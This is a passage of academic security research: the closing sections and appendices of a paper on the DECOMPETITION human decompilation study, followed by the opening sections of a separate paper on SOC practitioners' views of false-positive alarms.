the interprocedural context used by automatic decompilers.

7 RQ3: Does Reversing Equal Decompilation?

As mentioned previously, perfect decompilation is a very
exacting goal, requiring more effort from the reverser than
a traditional reversing task. Since the DECOMPETITION
participants were required to generate perfect decompilation
for each challenge binary in order to get a perfect score, there
is some concern that our observations are not applicable to
reversing in general. However, we can show that the process
involved is not substantially different.

Traditional reversing tasks, such as binary patching or
vulnerability discovery, require extremely precise knowledge
of particular “focus points” of a program, namely the points
with potential bugs. These points are typically a small fraction
of the entire binary, but a successful reverser will need
complete knowledge of what the program is supposed to
do—as well as how it does it—at each of them. In this light,
perfect decompilation is primarily an extension of traditional
reverse engineering:

• Reversers already dedicate very close attention to focus
points, so asking participants to devote that level of
analysis to an entire (small) binary is simply an extension
of an existing reversing task rather than a new one.

• We assume that reversers have a code-like internal
representation of the behavior of functions, so requir-
ing participants to submit valid source code merely
standardizes the language of communication.10

10This also prevents reversers from glossing over functionality they don’t

• Requiring perfect decompilation makes it trivial to con-
firm that a participant has completely reversed a function.

The third and final point is the only one where perfect
decompilation task differs from traditional reverse engineering.
The first two points are extensions of existing tasks, but the
third adds a new one: convincing the compiler to generate
specific binary output.
Fighting the Compiler. Perfect decompilation represents
the highest standard for reverse engineering: a source code
that matches the original binary has, by definition, the exact
semantics of the original source code. However, it is arguable
that such a goal could be too far-fetched, and that equivalent
code—measured by unit tests—might be a more realistic goal.
The risk here is that reversers aiming for perfect decompilation,
such as the DECOMPETITION participants, might spend a
significant portion of their time fighting with the compiler,
making our observations less representative of the traditional
reversing process.

We believed that in general, reversers would follow two
strategies: they would either attempt to pass all unit tests first
and work on matching assembly later, or they would work
directly on achieving a perfect assembly match and thus not
pass all test cases until the end. To study this behavior, we
selected the sequences of submissions that resulted in a perfect
decompilation, and we located the first submission in each
sequence that passed all unit tests.

We found that 70% of the reversers earned a 100% test score
within the first 90% of their submissions, although some of
these may have been assembly-first users who passed tests
early by chance. These users spent, on average, the first 51%
of their submissions and 60% of their time reaching perfect
test scores, and the remainder perfecting their assembly. In
contrast, the pool of all reversers took, on average, 69% of
their submissions and 70% of their time to pass all unit tests.

The exact ratios varied significantly by language; C++ and
Swift had the easiest compilers to mimic (only 27% and 31%
of solve time, respectively, was spent on this stage), and Go
and Rust had the hardest (45% and 51%, respectively).
Reversing vs. Decompilation. As mentioned in the previous
section, when analyzing the submissions, we observed many
of the same behaviors as Votipka et al. [48], indicating that
we are measuring a similar, if not identical, process.

Furthermore, the DECOMPERSON interface maps nicely
onto the traditional reversing process. Reversing studies—all
the way back to much earlier program comprehension stud-
ies [27]—frame reversing as a series of hypotheses made by the
reverser: with DECOMPERSON, each source code submission
is a hypothesis about program behavior, and the response from
the back-end helps confirm or disprove that hypothesis.

We also have evidence that the diff scores used in DECOM-
PETITION correlate well with function behavior. After the com-
petition, we wrote unit tests for most of the leaf functions, and

fully understand.
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Figure 8: Example distributions of per-function unit test scores and per-function diff scores. Medians are shown as dark purple
bars; means are shown as black dots. Lines of best fit are shown in pale gray.

tested the submissions. These test scores were not visible to
the participants, and thus could not be used as a decompilation
guide, but nevertheless corresponded to the submissions’ per-
function diff scores; some examples can be seen in Figure 8.

The left two plots show more typical distributions of
submission scores. Submissions are balanced across the
number of unit tests passed, and the unit test scores are
well-correlated with the diff scores, with a Pearson’s r of 0.75
and 0.64, respectively. This suggests that in the general case,
diff scores, which capture binary similarity, are a good proxy
for unit test scores, which capture functionality.

The rightmost plot shows a pathological case. The diff and
test scores are still reasonably well-correlated (r=0.50), but
the vast majority of submissions passed all the unit tests with a
mediocre diff score. This shows that the reversers were able to
replicate the behavior of the target function relatively quickly,
but then spent a significant amount of time getting rustc to
generate an exact assembly match.
Summary. Decompilation is a natural extension of tradi-
tional reversing. Reversers already generate a code-like
representation of the programs they work on, so turning
reversing into decompilation is simply a matter of writing this
representation in a well-defined language—and recovering
a precise representation of an entire function.

Perfect decompilation is no longer purely an extension of the
existing process, as it requires more effort to convince the com-
piler to generate specific output, but we found that even in this
case the process correlates well with function comprehension.

8 Threats to Validity

Experimental Setup. While we tried to reproduce standard
reversing activities as closely as possible, some differences
were unavoidable. For example, running the competition in
a web-based editor took people out of their familiar reversing
environments. After the competition, some players suggested
modifications to the web interface to make it easier to use,
while others were interested in integrating DECOMPERSON

into their pre-existing reversing environments. However, we
believe that the web-based interface did not affect how humans
approach the decompilation problem, although it may have
influenced the timings recorded during the competition.
Automatic Decompilers. Participants were able to paste the
output of automatic decompilers into the DECOMPERSON
editor. While this could potentially mean that we were not
observing the human reversing process, we found that this was
a rare behavior, and that the tools were not always helpful.

As an illustration, Figure 9 shows the maximum similarity
between any user’s rootkit submissions and the output of
the Hex-Rays decompiler. Only submissions with over 50%
similarity clearly resemble Hex-Rays, and only two users
(visible on the right in the first plot) achieved a perfect score
with code in this range.

Overall, after analyzing the C submissions, we found that
almost 20% of all function decompilation attempts included
a submission that clearly resembled tool output. Hex-Rays
was the most popular tool, accounting for 10% of all attempts,
followed by Ghidra at 7% and Binary Ninja at 3%. However,
only 6% of all attempts achieved perfect decompilation with
code that resembled tool output;11 once the output had been
edited into perfect decompilation, it was often no closer to the
original than a solution that had been written by hand.

Automatic decompilation was not useful for any other
languages. Only 2% of C++ function decompilation attempts,
for example, attempted to use tool output, and none of these
were successful. In fact, there were no perfect submissions
for any non-C languages that resembled tool output.

However, traditional reversing tools still proved useful as
a reversing aid. Fully 80% of the players who responded to the
follow-up survey reported using at least one tool “often” while
working on the challenge binaries. Hex-Rays was the most
popular tool, used often by about 50% of the respondents;
Ghidra and Binary Ninja were used by about 33% each. Most

11The vast majority of these successful attempts came from the prime
and baby-c challenges, at 18% and 6% respectively. The other C challenges
had an average tool success rate of 1%.
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Figure 9: Similarity of all rooktit decompilation attempts to
Hex-Rays output, measured as Jaccard similarity over charac-
ter diffs and ordered by similarity of the alloc_task function.
Maximum similarity of any submission is shown as lines;
maximally similar perfect decompilation is shown as points.

respondents used multiple tools, and only two (4%) used none.
Function Symbols. Our custom disassembler uses function
symbols to identify which functions to disassemble; therefore,
the DECOMPETITION binaries contained function symbols.
In practice, these are not always available. Symbols can be
“stripped” from real-world binaries—usually to obfuscate
them or to reduce their size—and adding meaningful function
names is an important step when reversing these.12

Having access to function symbols saved our reversers some
work. Although the function names used in DECOMPETITION
were not particularly descriptive, they still provided some
hints about what each function did. Additionally, the function
symbols in name-mangled languages encode the types of each
function’s parameters, which can be quite useful for reversing.

We do not believe that this information significantly altered
the decompilation process, but further study, using stripped
binaries and a more advanced function identification algorithm,
would be needed to definitively show the size of the effect.
Collaboration. DECOMPETITION was an online competition,
so we could not prevent users from collaborating on their
decompilation. However, we took the following steps to limit
this phenomenon: (1) the online interface was not designed
to be used collaboratively; (2) players had individual logins;
and (3) we used IP addresses to distinguish submissions that
were likely done by multiple users.

Overall, more than 80% of all players used the same IP
address for the entire competition, and 75% of all decompi-
lation attempts did not include submissions from interleaved
IP addresses. The vast majority of the interleaved submissions
came from well-established teams, who were accustomed to
sharing team accounts in other competitions. We know that
the top-scoring team used an informal “lock” protocol in their

12Function symbols are not uncommon, even in a reversing context;
dynamically linked binaries contain external function symbols even after
stripping, and in 2018, Cozzi et al. found that about 75% of Linux malware
was not stripped at all [10].

team chat to prevent conflicting edits to the same challenge;
other teams may have used a similar system.

9 Future Work

DECOMPERSON was developed with DECOMPETITION
and humans in mind, but we believe that, with the necessary
improvements, it could be used as a general-purpose reversing
tool. For example, the current system relies on the user to
provide all insights. The DECOMPERSON interface makes it
obvious where assembly mismatches occur, but the respon-
sibility of identifying the causes of these mismatches—and
of providing code that avoids them—lies solely with the
human operator. A more intelligent system would be able
to recognize causes of particular classes of mismatches and
suggest potential solutions.

Such a system could be trained on the output of human
reversers, including the data we collected here. Then,
depending on the quality of its suggestions, it could be put
to a variety of uses: a more rudimentary system could offer
suggestions to novice reverse engineers, helping them until
they reach a perfect match; an advanced system could provide
likely mutations to power a genetic decompiler, such as
BED [38]. This system could be part of a hybrid framework
as well, automating decompilation as much as possible before
falling back to the user for guidance [39].

This intersection of human and automated decompilation—
the same frontier that inspired this paper—still seems the most
promising direction for future research: the human insights
recorded here can be used to improve future decompilers,
which in turn will reduce the workload of their human users, a
trend towards combining human input and automated analysis
that has recently received substantial attention [14, 39].

10 Conclusions

The process of understanding binary code can be modeled
as the process of decompilation. In particular, it is possible
to set a precise, measurable goal by requiring that a human
perform perfect decompilation. We maintain that such a high
standard is not unreasonable: our study demonstrated that
perfect decompilation of small programs is within reach of
human reverse engineers today. We believe that the insights
from our experiment (the largest of this kind ever performed)
can be used to better understand the human reversing process.

Finally, we offer the dataset we collected during our study to
anyone wanting to study the process of human decompilation.
We showed some of the data that can be extracted, but we
believe that many more insights remain. We hope that it will
be used in the spirit of the competition from which it arose:
as a small step towards perfect decompilation.
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Artifacts

All challenges used in DECOMPETITION, including
solutions and test cases, are available here: h t t p s :
//github.com/decompetition/challenges-2020

The environment used to build and test the chal-
lenges is available as a Docker container: h t t p s :
//hub.docker.com/r/decompetition/builder-2020

The DECOMPERSON server and web interface can be found
here: https://github.com/decompetition/server

The DECOMPERSON disassembler and differ are also
available as a standalone tool, which can be found here:
https://github.com/decompetition/disassembler

The full (anonymized) submission dataset is also available:
https://github.com/decompetition/data
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A Background Survey

1. What best describes your involvement in computer
security?

(a) Professional
(b) Researcher
(c) Student
(d) Hobbyist
(e) Other

2. How many years have you been involved in computer
security?

(a) Integer value: 1 or above.13

3. How many years have you been involved in reverse
engineering?

(a) Integer value: 1 or above.13

4. How much of your paid time is spent reverse engineering?

(a) I’m not paid to reverse anything.
(b) A little bit of my workload is reversing.

13A programming error prevented users from entering zero.

(c) Around half of my workload is reversing.
(d) Most or all of my workload is reversing.

5. How much confidence do you have in your reversing
skills?

(a) I have no idea what I’m doing.
(b) I’m still a beginner.
(c) I’m an average reverser.
(d) I’m better than average.
(e) I am an expert.

6. How difficult is completely recreating the source code
of a small binary?

(a) Trivial
(b) Easy
(c) Moderate
(d) Difficult
(e) Impossible

7. How familiar are you with programming in the following
languages? (Range: 1 (Beginner) to 5 (Expert))

(a) C
(b) C++
(c) Go
(d) Rust
(e) Swift

8. How familiar are you with reversing the following
languages? (Range: 1 (Beginner) to 5 (Expert))

(a) C
(b) C++
(c) Go
(d) Rust
(e) Swift

9. How often do you use the following tools when reversing?
(Range: 1 (Never); 2 (Sometimes); 3 (Often))

(a) Angr
(b) Binary Ninja
(c) CLI Tools (objdump, etc.)
(d) Ghidra
(e) Ida / HexRays
(f) Radare
(g) Custom Scripts

B Follow-Up Survey

The follow-up survey contained repeats of questions 5–9 from
the background survey. Question 9 was re-worded to ask about
tools used during the competition, and included an item for the
DECOMPERSON web interface. There were also free-form text
inputs where players could give feedback on the challenges,
the interface, or the competition in general.
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C Table of Challenges

Challenges Non-Blank Lines Submissions by Diff Score Language Features

Name Functionality Value Src. Asm. Ratio All >0% >20% >40% >60% >80% 100%

C

baby-c Integer GCD. 200 24 77 3.21 1,933 1,445 1,357 1,171 943 526 112 arithmetic
bitesize Overflowable buffer. 100 30 81 2.70 2,803 2,327 2,302 2,056 1,593 760 70 types, buffers
prime Primality check. 100 20 117 5.85 1,670 1,337 1,307 1,013 432 282 56 arithmetic
rootkit Linked list search. 100 36 121 3.36 3,654 2,913 2,821 1,560 1,035 585 37 structs
Subtotal 500 110 396 3.60 10,060 8,022 7,787 5,800 4,003 2,153 275

C
+

+

baby-cpp Scrabble scoring. 200 49 441 9.00 3,370 2,553 2,259 1,685 1,270 669 41 strings, control flow
lambic Inventory mgmt. 400 152 647 4.26 815 495 262 158 116 70 4 structs, lambdas, vectors
pedigree Family tree search. 200 77 337 4.38 1,351 603 511 388 299 183 76 classes, sets
streamy RPN calculator. 400 146 622 4.26 895 593 467 394 267 142 24 classes, inheritance, streams
unfair Playfair cipher. 200 67 501 7.48 2,724 1,812 1,343 1,017 715 449 15 strings, tuples
Subtotal 1,400 491 2,548 5.19 9,155 6,056 4,842 3,642 2,667 1,513 160

G
o

baby-go FizzBuzz. 200 19 122 6.42 1,592 1,073 902 638 456 131 38 arithmetic
batsounds TCP echo server. 300 44 293 6.66 878 568 460 383 244 149 10 networking, time
carshop Inventory search. 300 75 400 5.33 726 352 299 191 163 108 8 structs, enums
fabulous Fibonacci sequence. 200 23 153 6.65 1,322 934 825 612 441 397 15 structs, arithmetic
julie Julia set ASCII art. 300 79 397 5.03 3,156 2,725 2,481 2,313 2,219 1,718 0 syscalls, complex numbers
switcher Buggy ROT-13 cipher. 200 32 153 4.78 1,600 1,219 1,110 1,039 937 667 14 strings, switches
wolfgang Cellular automaton. 300 38 212 5.58 918 717 619 578 446 358 3 strings, arithmetic
Subtotal 1,800 310 1,730 5.58 10,192 7,588 6,696 5,754 4,906 3,528 88

R
us

t

baby-rust Integer parsing. 300 14 222 15.86 1,325 975 765 388 270 237 30 matching
habidasher Two hash functions. 200 26 292 11.23 498 354 256 167 101 81 7 strings, arithmetic
s2ring Turing machine. 500 74 796 10.76 1,049 817 672 386 200 133 8 strings, structs, matching
toobz TCP pipeline. 300 105 385 3.67 652 415 363 335 288 239 8 traits, networking, lambdas
Subtotal 1,300 219 1,695 7.74 3,524 2,561 2,056 1,276 859 690 53

Sw
ift

baby-swift Hotdog detector. 300 34 489 14.38 1,221 750 475 360 259 138 14 strings, sets
bandate Date comparison. 400 55 1,008 18.33 569 353 314 147 85 59 9 structs, dates
cardigan Luhn checksum. 500 89 1,374 15.44 809 583 485 387 110 37 4 strings, arithmetic
Subtotal 1,200 178 2,871 16.13 2,599 1,686 1,274 894 454 234 27

All Challenges 6,200 1,308 9,240 7.06 35,530 25,913 22,655 17,366 12,889 8,118 603

Table 4: Descriptions and statistics for the DECOMPETITION challenges.

D Table of Compilers

Language Compiler Version Options

C gcc 9.3.0 -fno-asm -g

C++ g++ 9.3.0 -fno-asm -g -std=c++17

Go go build 1.13.8
Rust rustc 1.43.0
Swift swiftc 5.2.4

Table 5: Compilers used during DECOMPETITION. All challenges were built for x86-64 on Ubuntu 20.04. The chal-
lenge binaries were compiled with the same options, but all debug information was removed from these before distri-
bution. Note that the -fno-asm option only prevents the use of the asm keyword in C and C++; we used an additional
pre-processing step to prohibit the __asm keyword. See the full build scripts in the challenge repository for details:
https://github.com/decompetition/challenges-2020
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Abstract
In this work, we focus on the prevalence of False Positive
(FP) alarms produced by security tools, and Security Op-
eration Centers (SOCs) practitioners’ perception of their
quality. In an online survey we conducted with secu-
rity practitioners (n = 20) working in SOCs, practitioners
confirmed the high FP rates of the tools used, requiring
manual validation. With these findings in mind, we con-
ducted a broader, discovery-orientated, qualitative inves-
tigation with security practitioners (n = 21) of the limi-
tations of security tools, particularly their alarms’ qual-
ity and validity. Our results highlight that, despite the
perceived volume of FPs, most are attributed to benign
triggers—true alarms, explained by legitimate behavior
in the organization’s environment, which analysts may
choose to ignore. To properly evaluate security tools’ ad-
equacy and performance, it is critical that vendors and re-
searchers are able make such distinctions between types
of FP. Alarm validation is a tedious task that can cause
alarm burnout and eventually desensitization. There-
fore, we investigated the process of alarm validation in
SOCs, identifying factors that may influence the outcome
of this process. To improve security alarm quality, we
elicit five properties (Reliable, Explainable, Analytical,
Contextual, Transferable) required to foster effective and
quick validation of alarms. Incorporating these require-
ments in future tools will not only reduce alarm burnout
but improve SOC analysts’ decision-making process by
generating interpretable and meaningful alarms that en-
able prompt reaction.

1 Introduction

In 2013, Target was hit by the most prominent retail hack
in U.S. history, in which attackers infiltrated Target’s net-
work, installing malware designed to steal customers’
credit card data. Months before the breach, Target had
installed a new $1.6m malware-detection technology by

FireEye. This tool detected the malware, generating an
alarm that was picked up by Target’s Security Operation
Center (SOC) 1 in Bangalore. However, when the alarm
was escalated to the Minneapolis SOC, it was ignored,
and no action was taken [37].

The malware used in Target’s breach was far from
sophisticated. Nevertheless, it was able to bypass a
large and resourceful organization’s security controls and
procedures, suggesting that the problem goes beyond
SOC’s technological capabilities. Security monitoring is
a human-centered process with security tools to support
the work of analysts, triggering alarms on possible intru-
sions, and presenting the analysts with the information
needed to investigate a potential threat. Although priori-
tization computations embedded in security tools (e.g.,
Security Information and Event Management—SIEM)
can do much of the heavy lifting, SOC practitioners face
the difficult task of figuring out which alarms are False
Positives (FPs) and which indicate something dangerous.

Security tool vendors have been competing on the abil-
ity of their tools to detect threats, hence, focusing on
metrics such as False Negatives (FNs)—failure to detect
security events when they occur. In contrast, more focus
needs to be placed on reducing the FPs—flagging a secu-
rity event when it is not a threat, which is equally critical
[11]. Analysts often spend time manually going through
alarms to determine their validity, as well as performing
monotonous tasks to reduce FPs. Such tasks include re-
configuring security tools, baselining normal behavior,
and filtering out noise, when time could be spent on de-
tecting more sophisticated attacks (i.e., threat hunting).
Analysts are also under constant pressure to close tickets,
as some SOCs evaluate their practitioners’ performance
accordingly [40]. This process not only leads to human
error [13] but causes analyst fatigue and burnout [40].

An excessive number of alarms, in any system, con-
tributes to alarm desensitization, mistrust, and lack of hu-

1We provide a background on SOCs in Appendix A.1
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man responsiveness [12]. In Target’s case, although the
technology detecting the malware gave a high-risk alarm,
the alarm might have faced skepticism from Target’s se-
curity team at the time [37], who would not have prior-
itized the alarm. The deployed technology could have
automatically responded by deleting the malicious file, a
capability that had been disabled by Target’s security per-
sonnel. This configuration is not unusual as, due to a lack
of trust caused by the prevalence of FP alarms created by
detection tools, most SOCs want to avoid any automated
decision that could result in business disruption.

In recent work, Kokulu et al. [24] have found that SOC
security practitioners do not consider FPs in automatic
malicious activity detection to be a significant issue in
SOC operations. Such findings contradict academic be-
liefs on the prevalence of FPs in SOCs and pose the fol-
lowing interesting research questions: How do SOC ana-
lysts distinguish real alarms from false alarms? What do
analysts perceive to be False Positives, and how can we
establish a more precise definition? What are the short-
comings of alarms produced by current security tools?
How can we design better tools that provide higher qual-
ity alarms to improve the process of alarm validation?

In this paper, we address the questions above. We ap-
plied a multi-step empirical approach, first conducting a
quantitative survey (n = 20) to understand practitioners’
perceptions of the tools they use in the SOC. We then
conducted a qualitative study with 21 SOC practitioners
from seven SOCs. We analyzed these interviews using
Template Analysis [23], a common thematic analysis ap-
proach in qualitative research.

We elicit from the interviews the alarm validation rea-
soning, and the factors that might impact practitioners’
decision-making. This process was found to be human-
centric, relying on humans’ intelligence and reasoning
not only in validating alarms, but in their configuration
and review. Our findings also bring insights on the im-
portance of establishing an understanding of the defini-
tion of FPs, as we will discuss in Section 6. The term
False Positive is found to be broad and vague. For exam-
ple, analysts expressed a distinction between what they
call false alarms and benign triggers when evaluating se-
curity tools’ performance. False alarms are used to de-
scribe an alarm generated without a true security-related
event (the boy who cried wolf). In contrast, benign trig-
gers are true alarms; meaning they match an existing sig-
nature (e.g., vulnerable java version) but the organiza-
tion chooses to ignore it (e.g., due to legacy systems).
Although Kruegel et al. in [25] defined detections of
failed attacks in Intrusion Detection Systems (IDS) as
irrelevant positives, they are nevertheless alarms gener-
ated due to malicious activity, and not a benign business-
justified activity.

In our analysis, we found that analysts start their

alarm-validation process by looking first at tools they
“trust” or consider “reliable.” The perceived limitations
of alarms generated by either existing network-security
tools or SIEMs can be distilled into four classes: (1) un-
reliable alarms (Section 7.1), e.g., due to loosely written
signatures; (2) lack of customizability in traditional sys-
tems (Section 7.1); (3) black-box alarms and lack of ex-
plainability (Section 7.2); and (4) lack of context on the
networks and systems, process, or business (Section 7.3).

To address these limitations, in Section 8 we de-
fine five concrete requirements for more useful and
actionable alarms: Reliable, Explainable, Analytical,
Contextual, Transferable. Using Machine Learning
(ML)-based tools as an example, we discuss how adopt-
ing these requirements can help improve alarms for ana-
lysts to (1) make an informed decision about the validity
of the alarm and (2) expedite the analysts’ REACTion to
it, improving the SOC’s performance overall.

2 Related Work

There has been an increased focus from the research
community on developing security tools to automate op-
erations in SOCs, such as data triage [46, 47], log ag-
gregation [34], log mining [45], and SIEM-alert filter-
ing [32].

Akinrolabu et al. found that current IDSs are in-
adequate in detecting multi-stage stealthy attacks [1].
Goodall et al. conducted semi-structured interviews with
IDS experts to understand how they use IDSs [19]. The
study shows that IDS tasks are collaboration-driven, and
require a combination of common knowledge (e.g., net-
work and security) and situational knowledge (e.g., of
normal network behavior). Dietrich et al. used both
quantitative and qualitative methods to investigate sys-
tem operators’ perspectives on security misconfigura-
tions, identifying the factors that operators perceive to
be their root causes [13].

On improving FPs in security systems, several contri-
butions (e.g., [4, 25, 44]) have focused not on improv-
ing the quality of alarms themselves but on developing
automated solutions to reduce the alarm volume. These
contributions use techniques such as alarm mining, alarm
correlation, and elimination of “irrelevant” or “uninter-
esting” alerts in IDS/IPS systems––a process called alert
verification [21, 25, 35]. For example, Kruegel et al. [25]
defined “irrelevant positive” alarms as correctly identi-
fied attacks by an IDS that failed to meet their objectives.
In such work, the researchers aim to verify alerts (i.e.,
identify alarms relating to successful attacks) by com-
bining/correlating multiple data sources [38] or adding
context to alarms [2]. However, such work is based on
an underlying assumption that produced alarms are of
“quality” (i.e., interpretable, contextual, and meaningful
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alarms such that analysts can quickly take informed ac-
tion), which is not necessarily true. To reduce these FPs,
we need to understand the shortcomings of the alarms
themselves, improving their quality so that automated
alarm-verification solutions can be more efficient.

Sundaramurthy et al. [40–43] takes an anthropologi-
cal approach, studying three SOCs in educational institu-
tions and making several observations regarding the peo-
ple, processes, and technology. Specifically, in [41], they
made remarks related to operational tools/teams, work-
flow, and how teams come together in solving security
incidents. Factors that lead to analysts’ burnout in a
SOC were identified, providing a model that explains
the burnout phenomenon [40]. However, this model fo-
cuses on burnout resulting from managerial issues (e.g.,
analysts’ performance assessments), while we focus on
alarm burnout due to a prevalence of FPs. In [42], they
presented a Pentagon model for improving the SOC op-
erations by identifying tasks that can be automated to re-
solve conflicts. One finding that we continue to explore
in our study is the importance of customizability in tools.

Kokulu et al. [24] used a qualitative method to iden-
tify technological, human and operational issues in SOCs
across sectors. Their work highlighted SOC issues re-
lated, for example, to low visibility of assets, poor tool
usability, lack of analyst training, and communication.
They expressed the need for research to define improved
security metrics. Our work is a start in this direction: we
seek to establish a clearer definition of what constitutes
an FP. One of the most interesting findings by Kokulu
et al. [24] was that analysts do not perceive FPs to be
a significant issue, in contradiction with beliefs among
academics. Hence, we also identify the strengths and
weaknesses of security tools to explore this contradic-
tion and the limitations (e.g., lack of context) leading to
such confusion on tool adequacy. Although work on the
importance of contextual knowledge for alert verification
exists [19, 25], it is mostly focused on technical context
(e.g., network topology), while we also consider environ-
mental context (e.g., work hours).

3 Methodology

SOCs are diverse with distinct setups and goals, thus the
people, technology, and processes will be unique as well.
For this reason, we followed an inductive approach and
used a quantitative study as a starting point for our qual-
itative research. The quantitative and qualitative studies
are broader in scope, addressing topics such as SOC data
presentation, which fall outside the scope of this paper.

Ethical approval for this study was granted by
the University of Oxford Central University Research
Ethics Committee (R48822/RE001). In both survey
and interviews, informed consent was obtained from

Table 1: Interview participants: (Expertise level:
High(H), Medium(M), Low(L))

ID Job Title Expertise SOC ID

A1 Analyst - A
A2 Engineer - A
B3 Lead Analyst H B
B4 Lead Analyst H B
C5 Incident Responder H C
D6 Engineer H D
E7 CISO H E
E8 SOC Manager H E
E9 Analyst L E
E10 L3 Analyst H E
E11 Analyst M E
F12 SOC Manager - F
F13 Engineer - F
F14 Unix, UTM Coding L F
F15 Engineer M F
F16 SIEM Engineer - F
F17 Analyst M F
G18 Lead Analyst H G
G19 Manager H G
G20 Monitoring Analyst M G
G21 L3 Analyst H G

participants: participants were presented with informa-
tion on the purposes of the study, the handling and
anonymization of the data, the processes to withdraw
from the study, and the researchers’ contact information.
At the beginning of the interviews, the participants were
provided with an information sheet containing this infor-
mation, and signed a written consent form before con-
tinuing. For the online survey, this information was pro-
vided on the first page, and participants were asked to
indicate their consent by continuing to the next page of
the survey.

Participant Recruitment— Recruitment is a chal-
lenge; participation in such studies can burden analysts,
making them take time away from their tasks when as-
sessment is based on the daily number of closed tick-
ets [40]. Hence, our sampling was not random. We found
that obtaining senior management engagement and ac-
cess to participants was more important than a random
sample which might have reduced bias in the results.
We leveraged researchers’ institutional relationships and
contacted senior-level security professionals in organiza-
tions that have an SOC. We asked these professionals to
forward the online survey to security practitioners within
their SOC. Some organizations asked to review the sur-
vey questions before forwarding them to their practition-
ers. We then liaised with these senior-level profession-
als to arrange interview dates with a convenient sample
of their security practitioners. Gaining acceptance at a
senior level helped in establishing trust with the partici-
pating analysts (essential in ensuring data validity [40]),
and encouraging their participation.

Since responses to the survey were anonymous, we
do not know how many distinct SOCs were represented.
Our interview recruitment reached seven different SOCs
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Table 2: Demographics of SOCs in interviews: (Organi-
zation size: Large(L), Medium(M), Small(S)), Gov: Gov-
ernment SOC)

ID Type Size Sector Gov? Country

A MSSP L Aerospace UK
B MSSP M Security UK
C MSSP L Security Bulgaria
D MSSP M Security UK
E Internal L Defence UK
F Internal M Security India
G MSSP M Security UK

Figure 1: Saturation analysis of new concepts with each
additional interview, across all codes

of various sizes serving government and non-government
organizations, mostly in the security sector, with one in
Defense and one in the aerospace industry. We show the
demographics of our interview participants and SOCs in
Tables 1 and 2, respectively, and survey participants in
Appendix A.2. In both studies, there was a fair level
of distribution of participants across SOCs, meaning that
our results are not dominated by any particular organiza-
tion; however, as we note in Section 9, some biases may
exist as a result of the high concentration of SOCs within
particular sectors and regions. Compensation for partic-
ipation was not provided. Our anonymization of online
survey results prevents us from determining the overlap
between its participants and the interviewees.

Saturation analysis of new concepts with each addi-
tional interview is shown in Figure 1. This plot relates
to all codes collected across a wider data collection ef-
fort that included the themes reported in this paper along
with other themes such as data presentation in SOCs, and
recruitment and skills challenges, for example. After the
13th interview, we observed only very few new codes,
and none after the 19th (across all codes, and therefore
also in the specific codes we focus on in this paper). We
therefore decided not to schedule new participants.

3.1 Quantitative Method: Online Survey
We used an online survey to identify areas of focus for
the interviews. The online survey enabled remote partic-
ipation, improving our reach. We cannot claim statistical
significance, but were able to identify areas of focus for
the semi-structured interviews (we show how we derived
the interview research questions from the survey findings

in Section 4).
We presented survey participants with a set of asser-

tions on the human-in-the-loop, the prevalence of FP
alarms, and the importance of maintaining awareness of
the network. Participants were asked to indicate their
level of agreement with each assertion using a Likert
scale (1: “Strongly Disagree”, 2: “Disagree”, 3: “Neu-
tral”, 4: “Agree”, 5: “Strongly Agree”). Mode or me-
dian values higher than three constituted overall agree-
ment with an assertion. We also calculated a comparison
of non-neutral scores (CNNS), which represents the ratio
of scores less than and greater than the neutral value (3).
We discuss the survey questions in Appendix A.3.

We drew on existing literature to design our online
survey questions, identifying theories requiring valida-
tion and constructing questions based on them. Exam-
ples of such literature includes work by Garcia et al. [17]
and Goodall et al. [18], which explored challenges in
intrusion detection systems such as the prevalence of
FPs. Contradictory findings on security alert accuracy
between [1], [24] led us to use Assertions (A) 1-4 to ex-
plore FP/FN perceptions. Assertions A (5-8) were de-
vised based on reports of analysts’ use of intuition in
detection and decision-making [41], and A-9 and A-10
were devised to explore participants’ interactions with
security tools, supported by prior literature on the sub-
ject [42].

We followed best practice in online survey design [36],
and incorporated feedback from subject-matter experts
(a security analyst, senior security professional, and an
SOC manager). We sought to keep the survey to a rea-
sonable length (it took approximately 15 to 20 minutes
to complete). We consulted with other survey-design ex-
perts to ensure we avoided ambiguity or double-barrelled
questions through careful wording, and to ensure the re-
sponse categories chosen were appropriate.

3.2 Qualitative Method: Semi-Structured
Interviews

The qualitative study aimed to investigate further the pro-
cesses involved in SOC work (including the kinds of ac-
tivities security practitioners engage in daily, the tools
they use, and the skills required), as well as the factors
that influence these processes, in more depth. We drew
on the findings from the quantitative study to derive re-
search questions, and designed interview questions to ad-
dress these research questions. In Section 4 we present
these research questions and explain how they were de-
rived from the survey results.

We chose to conduct semi-structured interviews to ex-
tend discussions based on the flow of conversation. The
interview questions were discussed with three subject-
matter experts (who worked, or had previously worked,
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Table 3: Online Survey Results: Responses to Assertions (Resp, Ordered from “Strongly Disagree”(=1) - “Strongly
Agree”(=5)) Mode, Median, and Comparison of Non-Neutral scores - Disagree (1-2):Agree (4-5)(CNNS: D:A)

Assertion Resp Mode Median CCNS
A-1: The monitoring tools I use frequently produce false positive results
(they detect a security event when there was not actually a security event) 0,2,4,11,3 4 4 2:14

A-2: The monitoring tools I use frequently produce FNs (fail to detect a security event that occurs) 0,6,9,3,2 3 3 6:5
A-3: I believe that current IDS are inadequate in detecting attacks 2,5,7,5,1 3 3 7:6
A-4: The number of alerts generated by most IDS are overwhelming 0,4,4,8,4 4 4 4:12
A-5: It is important to have a human in the loop for the detection and preliminary analysis
of potential security events. This process cannot be carried out by automated systems alone 0,2,0,7,11 5 5 2:18

A-6: Human analysts monitoring the network are capable of detecting network anomalies
missed by automated systems 0,1,5,10,4 4 4 1:14

A-7: I am often required to make decisions on the accuracy of alerts produced by automated systems 0,0,5,8,7 4 4 0:15
A-8: I sometimes rely on my experience and intuition to detect attacks rather than
monitoring system alerts 0,2,7,7,4 3 4 2:11

A-9: Maintaining awareness of the network security state is important in enabling me to
make decisions on the accuracy of alerts produced by automated monitoring systems 0,0,3,13,4 4 4 0:17

A-10: Keeping up with changing configurations in the network is difficult,
but necessary to provide the context needed to analyze and diagnose an alert 0,1,4,9,6 4 4 1:15

in SOCs), and their feedback was incorporated to ensure
face validity [29]. We show the interview questions in
Appendix A.4. We ran pilot interviews with a security
analyst, gathering feedback on the questions to ensure
their clarity and suitability for the target audience.

The majority of the interviews were carried out face to
face at the practitioners’ organizations, in rooms outside
of the SOC. Two participants were interviewed through
live video chats. The interviews were audio-recorded and
lasted approximately one hour each; however, due to the
nature of the job, one interview was interrupted multiple
times for the analyst to deal with an incoming incident
and therefore lasted longer. In addition, one organization
(SOC ID: F) opted to have researchers interview multiple
security practitioners at once. We started the interviews
with a brief introduction of ourselves and the study ob-
jectives. Participants were then provided with the partic-
